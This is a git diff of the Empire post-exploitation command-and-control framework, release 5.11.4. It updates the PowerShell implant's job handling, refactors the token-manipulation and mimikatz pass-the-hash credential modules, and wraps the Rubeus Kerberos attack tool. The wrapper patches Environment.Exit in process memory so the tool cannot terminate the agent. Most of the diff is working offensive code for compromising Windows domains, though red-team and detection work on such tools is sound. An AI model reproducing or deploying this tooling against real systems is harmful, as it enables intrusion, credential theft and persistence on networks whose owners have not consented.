diff --git a/.github/workflows/lint-and-test.yml b/.github/workflows/lint-and-test.yml index 710a5aebd..d0dca4d7a 100644 --- a/.github/workflows/lint-and-test.yml +++ b/.github/workflows/lint-and-test.yml @@ -91,7 +91,7 @@ jobs: junitxml-path: ./pytest.xml test_image: # To save CI time, only run these tests on the release PRs - if: ${{ startsWith(github.head_ref, 'release/') }} + if: ${{ startsWith(github.head_ref, 'release/') || contains( github.event.pull_request.labels.*.name, 'docker') }} timeout-minutes: 30 runs-on: ubuntu-latest name: Test Docker Image @@ -109,9 +109,9 @@ jobs: sed -i 's|ref: sponsors-main|ref: main|g' empire/server/config.yaml fi - name: Build docker image - run: docker-compose -f .github/docker-compose.yml build + run: docker compose -f .github/docker-compose.yml build - name: Run tests on docker image - run: docker-compose -f .github/docker-compose.yml run test + run: docker compose -f .github/docker-compose.yml run test - name: run structure tests docker uses: plexsystems/container-structure-test-action@v0.3.0 with: diff --git a/CHANGELOG.md b/CHANGELOG.md index bb4ffe8ef..0096643c7 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -14,12 +14,34 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 ## [Unreleased] +## [5.11.4] - 2024-09-04 + +### Added + - Added nameserver check for linux hosts (@0x636f646f) +## [5.11.3] - 2024-09-04 + +### Changed + +- Updated Rubeus to v2.3.2 (@Cx01N) + +### Fixed + +- Fixed Rubeus error where only first arg was being used (@Cx01N) +- Fixed background jobs checking in continuously (@Cx01N) +- Fixed Rubeus killing agent when certain options were given that use System.Environment.Exit (@Cx01N) +- Fixed option parsing error in credential/tokens module (@Cx01N) +- Removed requirement for credid for mimikatz/pth (@Cx01N) ## [5.11.2] - 2024-08-08 +### Added + - Added Route4Me to sponsor page on Empire (@Cx01N) + +### Fixed + - Fixed global obfuscation bug in listener staging (@Cx01N) ## [5.11.1] - 2024-07-23 @@ -907,7 +929,11 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 - Updated shellcoderdi to newest version (@Cx01N) - Added a Nim launcher (@Hubbl3) -[Unreleased]: https://github.com/BC-SECURITY/Empire-Sponsors/compare/v5.11.2...HEAD +[Unreleased]: https://github.com/BC-SECURITY/Empire-Sponsors/compare/v5.11.4...HEAD + +[5.11.4]: https://github.com/BC-SECURITY/Empire-Sponsors/compare/v5.11.3...v5.11.4 + +[5.11.3]: https://github.com/BC-SECURITY/Empire-Sponsors/compare/v5.11.2...v5.11.3 [5.11.2]: https://github.com/BC-SECURITY/Empire-Sponsors/compare/v5.11.1...v5.11.2 diff --git a/empire/server/common/empire.py b/empire/server/common/empire.py index 534a559c6..09fddaf9c 100755 --- a/empire/server/common/empire.py +++ b/empire/server/common/empire.py @@ -38,7 +38,7 @@ from . import agents, credentials, listeners, stagers -VERSION = "5.11.2 BC Security Fork" +VERSION = "5.11.4 BC Security Fork" log = logging.getLogger(__name__) diff --git a/empire/server/csharp/Covenant/Data/AssemblyReferences/net40/System.configuration.dll b/empire/server/csharp/Covenant/Data/AssemblyReferences/net40/System.configuration.dll new file mode 100644 index 000000000..4a673c46a Binary files /dev/null and b/empire/server/csharp/Covenant/Data/AssemblyReferences/net40/System.configuration.dll differ diff --git a/empire/server/csharp/Covenant/Data/ReferenceSourceLibraries/Rubeus b/empire/server/csharp/Covenant/Data/ReferenceSourceLibraries/Rubeus index 1e9fe7c3c..351cb3bc0 160000 --- a/empire/server/csharp/Covenant/Data/ReferenceSourceLibraries/Rubeus +++ b/empire/server/csharp/Covenant/Data/ReferenceSourceLibraries/Rubeus @@ -1 +1 @@ -Subproject commit 1e9fe7c3c2d0458f8200f248079485f3527f314f +Subproject commit 351cb3bc04430bdf9e05eaf5cc25be7ed937d41f diff --git a/empire/server/csharp/Covenant/Data/ReferenceSourceLibraries/Sharpire b/empire/server/csharp/Covenant/Data/ReferenceSourceLibraries/Sharpire index e22da60f4..a71278afd 160000 --- a/empire/server/csharp/Covenant/Data/ReferenceSourceLibraries/Sharpire +++ b/empire/server/csharp/Covenant/Data/ReferenceSourceLibraries/Sharpire @@ -1 +1 @@ -Subproject commit e22da60f40c8e5b0268ab601bc848f1415bb9848 +Subproject commit a71278afd8b3d7be89b62b3dd15cb1061b35e716 diff --git a/empire/server/data/agent/agent.ps1 b/empire/server/data/agent/agent.ps1 index 5bb0877d5..c89908393 100644 --- a/empire/server/data/agent/agent.ps1 +++ b/empire/server/data/agent/agent.ps1 @@ -1146,7 +1146,7 @@ function Invoke-Empire { $jobID = Start-AgentJob $data; $script:ResultIDs[$jobID]=$resultID; Encode-Packet -type $type -data ("Job started: " + $jobID) -ResultID $ResultID; - $script:tasks[$ResultID]['status'] = 'completed' + $script:tasks[$ResultID]['status'] = 'running' } # dynamic code execution, no wait, save output elseif($type -eq 111 -or $type -eq 113) { @@ -1357,12 +1357,24 @@ function Invoke-Empire { ForEach($JobName in $JobNames) { $JobResultID = $script:ResultIDs[$JobName] - if (Get-AgentJobCompleted -JobName $JobName) { - $Results = Stop-AgentJob -JobName $JobName | fl | Out-String + $taskStatus = $script:tasks[$JobName]['status'] + + if ($taskStatus -eq 'completed' -or $taskStatus -eq 'stopped') { + continue; # Skip already completed or stopped tasks } - elseif ($script:tasks[$JobName]['status'] -eq 'running') { - $Results = Receive-AgentJob -JobName $JobName | fl | Out-String + + # Check if the task is running and completed + if ($taskStatus -eq 'running') { + $jobCompleted = Get-AgentJobCompleted -JobName $JobName + if ($jobCompleted) { + $Results = Stop-AgentJob -JobName $JobName | fl | Out-String + $script:tasks[$JobName]['status'] = 'completed' + } + else { + $Results = Receive-AgentJob -JobName $JobName | fl | Out-String + } } + if ($Results) { $JobResults += $(Encode-Packet -type 110 -data $($Results) -ResultID $JobResultID) } diff --git a/empire/server/modules/csharp/GhostPack.Covenant.yaml b/empire/server/modules/csharp/GhostPack.Covenant.yaml index a7ab651dd..30427719f 100644 --- a/empire/server/modules/csharp/GhostPack.Covenant.yaml +++ b/empire/server/modules/csharp/GhostPack.Covenant.yaml @@ -8,80 +8,210 @@ Help: Language: CSharp CompatibleDotNetVersions: - - Net35 - Net40 Code: | using System; using System.IO; + using System.Runtime.CompilerServices; + using System.Runtime.InteropServices; + using System.Reflection; + using System.Collections.Generic; + using System.Security.Cryptography; + using System.Security.Cryptography.X509Certificates; + using System.Text.RegularExpressions; + using System.Linq; + using System.Text; - using Rubeus.Domain; + using Asn1 = Rubeus.Asn1; + using Rubeus.Asn1.Asn1Extensions; + using Rubeus.lib.crypto; + using Rubeus; public static class Task { public static Stream OutputStream { get; set; } - public static string Execute(string Command) + private static byte originalByte; + + public static string Execute(string Command = "") { + PatchEnvironmentExit(); + + TextWriter realStdOut = Console.Out; + TextWriter realStdErr = Console.Error; + StreamWriter stdOutWriter = new StreamWriter(OutputStream); + StreamWriter stdErrWriter = new StreamWriter(OutputStream); + stdOutWriter.AutoFlush = true; + stdErrWriter.AutoFlush = true; + Console.SetOut(stdOutWriter); + Console.SetError(stdErrWriter); try { - TextWriter realStdOut = Console.Out; - TextWriter realStdErr = Console.Error; - StreamWriter stdOutWriter = new StreamWriter(OutputStream); - StreamWriter stdErrWriter = new StreamWriter(OutputStream); - stdOutWriter.AutoFlush = true; - stdErrWriter.AutoFlush = true; - Console.SetOut(stdOutWriter); - Console.SetError(stdErrWriter); + Console.WriteLine(Command); + string output = Rubeus.Program.MainString(Command); + Console.WriteLine(output); + } + catch (Exception e) + { + Console.WriteLine("\r\n[!] Unhandled Rubeus exception:\r\n"); + Console.WriteLine(e); + } + finally + { + UnpatchEnvironmentExit(); - string[] args = Command.Split(' '); - try - { - Info.ShowLogo(); + Console.Out.Flush(); + Console.Error.Flush(); + Console.SetOut(realStdOut); + Console.SetError(realStdErr); - // try to parse the command line arguments, show usage on failure and then bail - var parsed = ArgumentParser.Parse(args); - if (parsed.ParsedOk == false) - { - Info.ShowUsage(); - } - else - { - // Try to execute the command using the arguments passed in + OutputStream.Close(); + } + + return ""; + } + + private static void PatchEnvironmentExit() + { + var methods = new List(typeof(Environment).GetMethods(BindingFlags.Static | BindingFlags.Public | BindingFlags.NonPublic)); + var exitMethod = methods.Find((MethodInfo mi) => mi.Name == "Exit"); + + RuntimeHelpers.PrepareMethod(exitMethod.MethodHandle); + var exitMethodPtr = exitMethod.MethodHandle.GetFunctionPointer(); - var commandName = args.Length != 0 ? args[0] : ""; + unsafe + { + IntPtr target = exitMethod.MethodHandle.GetFunctionPointer(); - var commandFound = new CommandCollection().ExecuteCommand(commandName, parsed.Arguments); + MEMORY_BASIC_INFORMATION mbi; - // show the usage if no commands were found for the command name - if (commandFound == false) - Info.ShowUsage(); + if (VirtualQueryEx((IntPtr)(-1), target, out mbi, (uint)Marshal.SizeOf(typeof(MEMORY_BASIC_INFORMATION))) != 0) + { + if (mbi.Protect == (uint)AllocationProtectEnum.PAGE_EXECUTE_READ) + { + uint flOldProtect; + + if (VirtualProtectEx((IntPtr)(-1), (IntPtr)target, (IntPtr)1, (uint)AllocationProtectEnum.PAGE_EXECUTE_READWRITE, out flOldProtect)) + { + originalByte = *(byte*)target; + *(byte*)target = 0xc3; + + VirtualProtectEx((IntPtr)(-1), (IntPtr)target, (IntPtr)1, flOldProtect, out flOldProtect); + } } } - catch (Exception e) + } + } + + private static void UnpatchEnvironmentExit() + { + var methods = new List(typeof(Environment).GetMethods(BindingFlags.Static | BindingFlags.Public | BindingFlags.NonPublic)); + var exitMethod = methods.Find((MethodInfo mi) => mi.Name == "Exit"); + + RuntimeHelpers.PrepareMethod(exitMethod.MethodHandle); + var exitMethodPtr = exitMethod.MethodHandle.GetFunctionPointer(); + + unsafe + { + IntPtr target = exitMethod.MethodHandle.GetFunctionPointer(); + + MEMORY_BASIC_INFORMATION mbi; + + if (VirtualQueryEx((IntPtr)(-1), target, out mbi, (uint)Marshal.SizeOf(typeof(MEMORY_BASIC_INFORMATION))) != 0) { - Console.WriteLine("\r\n[!] Unhandled Rubeus exception:\r\n"); - Console.WriteLine(e); + if (mbi.Protect == (uint)AllocationProtectEnum.PAGE_EXECUTE_READ) + { + uint flOldProtect; + + if (VirtualProtectEx((IntPtr)(-1), (IntPtr)target, (IntPtr)1, (uint)AllocationProtectEnum.PAGE_EXECUTE_READWRITE, out flOldProtect)) + { + *(byte*)target = originalByte; + + VirtualProtectEx((IntPtr)(-1), (IntPtr)target, (IntPtr)1, flOldProtect, out flOldProtect); + } + } } + } + } - Console.Out.Flush(); - Console.Error.Flush(); - Console.SetOut(realStdOut); - Console.SetError(realStdErr); + [StructLayout(LayoutKind.Sequential)] // Corrected the StructLayout attribute + private struct MEMORY_BASIC_INFORMATION + { + public IntPtr BaseAddress; + public IntPtr AllocationBase; + public uint AllocationProtect; + public IntPtr RegionSize; + public uint State; + public uint Protect; + public uint Type; + } - OutputStream.Close(); - return ""; + [DllImport("kernel32.dll", SetLastError = true)] + private static extern int VirtualQueryEx(IntPtr hProcess, IntPtr lpAddress, out MEMORY_BASIC_INFORMATION lpBuffer, uint dwLength); + + [DllImport("kernel32.dll", SetLastError = true)] + private static extern bool VirtualProtectEx(IntPtr hProcess, IntPtr lpAddress, IntPtr dwSize, uint flNewProtect, out uint lpflOldProtect); + + private enum AllocationProtectEnum : uint + { + PAGE_EXECUTE_READ = 0x20, + PAGE_EXECUTE_READWRITE = 0x40, + } + } + + namespace Rubeus.Utilities.Memory + { + internal class CrossBitnessTypeAttribute : Attribute + { + public Type CrossBitnessType { get; } + + private static MethodInfo GetMethodInfo(Type cross_bitness_type) + { + return null; } - catch (Exception e) + + public CrossBitnessTypeAttribute(Type cross_bitness_type) { - if (OutputStream != null) - { - OutputStream.Close(); - } - return e.GetType().FullName + ": " + e.Message + Environment.NewLine + e.StackTrace; + } + + public int GetSize() + { + return System.Runtime.InteropServices.Marshal.SizeOf(CrossBitnessType); + } + } + } + + namespace Rubeus + { + public static class RubeusExtensions + { + public static void SetPinForPrivateKey(this X509Certificate2 certificate, string pin) + { + if (certificate == null) + throw new ArgumentNullException(nameof(certificate)); + + if (certificate.PrivateKey is RSACryptoServiceProvider rsaCsp) + { + var providerHandle = IntPtr.Zero; + var pinBuffer = Encoding.ASCII.GetBytes(pin); + + SafeNativeMethods.Execute(() => SafeNativeMethods.CryptAcquireContext(ref providerHandle, + rsaCsp.CspKeyContainerInfo.KeyContainerName, + rsaCsp.CspKeyContainerInfo.ProviderName, + rsaCsp.CspKeyContainerInfo.ProviderType, + SafeNativeMethods.CryptContextFlags.Silent)); + SafeNativeMethods.Execute(() => SafeNativeMethods.CryptSetProvParam(providerHandle, + SafeNativeMethods.CryptParameter.KeyExchangePin, + pinBuffer, 0)); + SafeNativeMethods.Execute(() => SafeNativeMethods.CertSetCertificateContextProperty( + certificate.Handle, + SafeNativeMethods.CertificateProperty.CryptoProviderHandle, + 0, providerHandle)); + } } } } TaskingType: Assembly - UnsafeCompile: false + UnsafeCompile: true TokenTask: false Options: - Name: Command @@ -117,45 +247,47 @@ Location: Rubeus\ Language: CSharp CompatibleDotNetVersions: - - Net35 - Net40 ReferenceAssemblies: - - Name: System.IdentityModel.dll - Location: net40\System.IdentityModel.dll + - Name: mscorlib.dll + Location: net40\mscorlib.dll DotNetVersion: Net40 - Name: System.dll Location: net40\System.dll DotNetVersion: Net40 + - Name: System.Core.dll + Location: net40\System.Core.dll + DotNetVersion: Net40 + - Name: System.Data.dll + Location: net40\System.Data.dll + DotNetVersion: Net40 + - Name: System.Data.DataSetExtensions.dll + Location: net40\System.Data.DataSetExtensions.dll + DotNetVersion: Net40 + - Name: System.Xml.dll + Location: net40\System.XML.dll + DotNetVersion: Net40 + - Name: System.Xml.Linq.dll + Location: net40\System.Xml.Linq.dll + DotNetVersion: Net40 + - Name: System.IdentityModel.dll + Location: net40\System.IdentityModel.dll + DotNetVersion: Net40 - Name: System.DirectoryServices.dll Location: net40\System.DirectoryServices.dll DotNetVersion: Net40 + - Name: System.DirectoryServices.Protocols.dll + Location: net40\System.DirectoryServices.Protocols.dll + DotNetVersion: Net40 - Name: System.DirectoryServices.AccountManagement.dll Location: net40\System.DirectoryServices.AccountManagement.dll DotNetVersion: Net40 - - Name: System.Core.dll - Location: net40\System.Core.dll + - Name: System.Security.dll + Location: net40\System.Security.dll DotNetVersion: Net40 - - Name: mscorlib.dll - Location: net40\mscorlib.dll + - Name: System.configuration.dll + Location: net40\System.configuration.dll DotNetVersion: Net40 - - Name: mscorlib.dll - Location: net35\mscorlib.dll - DotNetVersion: Net35 - - Name: System.Core.dll - Location: net35\System.Core.dll - DotNetVersion: Net35 - - Name: System.DirectoryServices.AccountManagement.dll - Location: net35\System.DirectoryServices.AccountManagement.dll - DotNetVersion: Net35 - - Name: System.DirectoryServices.dll - Location: net35\System.DirectoryServices.dll - DotNetVersion: Net35 - - Name: System.dll - Location: net35\System.dll - DotNetVersion: Net35 - - Name: System.IdentityModel.dll - Location: net35\System.IdentityModel.dll - DotNetVersion: Net35 EmbeddedResources: [] ReferenceAssemblies: [] EmbeddedResources: [] diff --git a/empire/server/modules/powershell/credentials/mimikatz/pth.yaml b/empire/server/modules/powershell/credentials/mimikatz/pth.yaml index dc090ac5e..1559569d7 100644 --- a/empire/server/modules/powershell/credentials/mimikatz/pth.yaml +++ b/empire/server/modules/powershell/credentials/mimikatz/pth.yaml @@ -37,7 +37,7 @@ options: value: '' - name: CredID description: CredID from the store to use for ticket creation. - required: true + required: false value: '' - name: user description: Username to impersonate. diff --git a/empire/server/modules/powershell/credentials/tokens.py b/empire/server/modules/powershell/credentials/tokens.py index 930cb2ede..16a650dae 100644 --- a/empire/server/modules/powershell/credentials/tokens.py +++ b/empire/server/modules/powershell/credentials/tokens.py @@ -1,36 +1,29 @@ from empire.server.common.empire import MainMenu from empire.server.core.module_models import EmpireModule -from empire.server.utils.module_util import handle_error_message +from empire.server.core.module_service import auto_finalize, auto_get_source class Module: @staticmethod + @auto_get_source + @auto_finalize def generate( main_menu: MainMenu, module: EmpireModule, params: dict, obfuscate: bool = False, obfuscation_command: str = "", + script: str = "", ): - # read in the common module source code - script, err = main_menu.modulesv2.get_module_source( - module_name=module.script_path, - obfuscate=obfuscate, - obfuscate_command=obfuscation_command, - ) - - if err: - return handle_error_message(err) - script_end = "Invoke-TokenManipulation" outputf = params.get("OutputFunction", "Out-String") if params["RevToSelf"].lower() == "true": script_end += " -RevToSelf" - elif params["WhoAmI"].lower() == "true": + if params["WhoAmI"].lower() == "true": script_end += " -WhoAmI" - elif params["ShowAll"].lower() == "true": + if params["ShowAll"].lower() == "true": script_end += " -ShowAll" script_end += ( f" | {outputf} | " @@ -38,44 +31,35 @@ def generate( + str(module.name.split("/")[-1]) + ' completed!"' ) - else: - for option, values in params.items(): - if ( - option.lower() != "agent" - and option.lower() != "outputfunction" - and values - and values != "" - ): - if values.lower() == "true": - # if we're just adding a switch - script_end += " -" + str(option) - else: - script_end += " -" + str(option) + " " + str(values) - # try to make the output look nice - if script.endswith("Invoke-TokenManipulation") or script.endswith( - "-ShowAll" + for option, values in params.items(): + if ( + option.lower() + not in ["agent", "outputfunction", "revtoself", "whoami", "showall"] + and values + and values.lower() != "false" ): - script_end += "| Select-Object Domain, Username, ProcessId, IsElevated, TokenType | ft -autosize" - script_end += ( - f" | {outputf} | " - + '%{$_ + "`n"};"`n' - + str(module.name.split("/")[-1]) - + ' completed!"' - ) - else: - script_end += ( - f" | {outputf} | " - + '%{$_ + "`n"};"`n' - + str(module.name.split("/")[-1]) - + ' completed!"' - ) - if params["RevToSelf"].lower() != "true": - script_end += ';"`nUse credentials/tokens with RevToSelf option to revert token privileges"' + if values.lower() == "true": + script_end += " -" + str(option) + else: + script_end += " -" + str(option) + " " + str(values) + + if script.endswith("Invoke-TokenManipulation") or script.endswith("-ShowAll"): + script_end += "| Select-Object Domain, Username, ProcessId, IsElevated, TokenType | ft -autosize" + script_end += ( + f" | {outputf} | " + + '%{$_ + "`n"};"`n' + + str(module.name.split("/")[-1]) + + ' completed!"' + ) + else: + script_end += ( + f" | {outputf} | " + + '%{$_ + "`n"};"`n' + + str(module.name.split("/")[-1]) + + ' completed!"' + ) + if params["RevToSelf"].lower() != "true": + script_end += ';"`nUse credentials/tokens with RevToSelf option to revert token privileges"' - return main_menu.modulesv2.finalize_module( - script=script, - script_end=script_end, - obfuscate=obfuscate, - obfuscation_command=obfuscation_command, - ) + return script, script_end diff --git a/empire/server/modules/powershell/credentials/tokens.yaml b/empire/server/modules/powershell/credentials/tokens.yaml index 205c84702..23b5372fc 100644 --- a/empire/server/modules/powershell/credentials/tokens.yaml +++ b/empire/server/modules/powershell/credentials/tokens.yaml @@ -12,7 +12,7 @@ techniques: - T1134 background: false output_extension: -needs_admin: false +needs_admin: true opsec_safe: true language: powershell min_language_version: '2' diff --git a/pyproject.toml b/pyproject.toml index b7625d181..c6a969a6e 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -1,6 +1,6 @@ [tool.poetry] name = "empire-bc-security-fork" -version = "5.11.2" +version = "5.11.4" description = "" authors = ["BC Security "] readme = "README.md"